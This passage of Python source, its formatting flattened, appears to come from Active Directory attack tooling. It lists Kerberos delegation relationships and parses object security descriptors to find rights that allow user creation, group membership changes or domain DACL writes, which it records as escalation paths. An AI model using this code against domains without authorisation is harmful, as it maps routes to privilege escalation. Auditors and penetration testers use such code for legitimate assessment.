isinstance( item2, ldapasn1.SearchResultEntry) is not True: continue rbcdRights.append( str(item2['attributes'][0]['vals'][0])) rbcdObjType.append( str(item2['attributes'][1]['vals'][0]).split( '=')[1].split(',')[0]) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug( 'Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip( rbcdRights, rbcdObjType): answers.append([ rights, objType, 'Resource-Based Constrained', sAMAccountName ]) #print unconstrained + constrained delegation relationships if delegation in [ 'Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition' ]: if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: answers.append([ sAMAccountName, objectType, delegation, rights ]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: self.printTable(answers, header=[ "AccountName", "AccountType", "DelegationType", "DelegationRightsTo" ]) print('\n\n') else: print("No entries found!")
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): for entry in entries: if entry['type'] != 'searchResEntry': continue dn = entry['dn'] try: sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] except IndexError: # We don't have the privileges to read this security descriptor continue hasFullControl = False secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(sdData) if secDesc['OwnerSid'] != '' and secDesc[ 'OwnerSid'].formatCanonical() in membersids: sid = secDesc['OwnerSid'].formatCanonical() LOG.debug( 'Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) hasFullControl = True # Iterate over all the ACEs for ace in secDesc['Dacl'].aces: sid = ace['Ace']['Sid'].formatCanonical() if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: continue if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag( ACE.INHERIT_ONLY_ACE): # ACE is set on this object, but only inherited, so not applicable to us continue # Check if the ACE has restrictions on object type if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace.hasFlag(ACE.INHERITED_ACE) \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): # Verify if the ACE applies to this object type if not self.aceApplies( ace, entry['raw_attributes']['objectClass']): continue if sid in membersids: if can_create_users(ace) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) if dn == 'CN=Users,%s' % domainDumper.root: # We can create users in the default container, this is preferred privs['create'] = True privs['createIn'] = dn else: # Could be a different OU where we have access # store it until we find a better place if privs[ 'createIn'] != 'CN=Users,%s' % domainDumper.root and 'organizationalUnit' in entry[ 'raw_attributes']['objectClass']: privs['create'] = True privs['createIn'] = dn if can_add_member(ace) or hasFullControl: if 'group' in entry['raw_attributes']['objectClass']: # We can add members to a group if not hasFullControl: LOG.debug( 'Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) privs['escalateViaGroup'] = True privs['escalateGroup'] = dn if ace['Ace']['Mask'].hasPriv( ACCESS_MASK.WRITE_DACL) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) # We can modify the domain Dacl if 'domain' in entry['raw_attributes']['objectClass']: privs['aclEscalate'] = True privs['aclEscalateIn'] = dn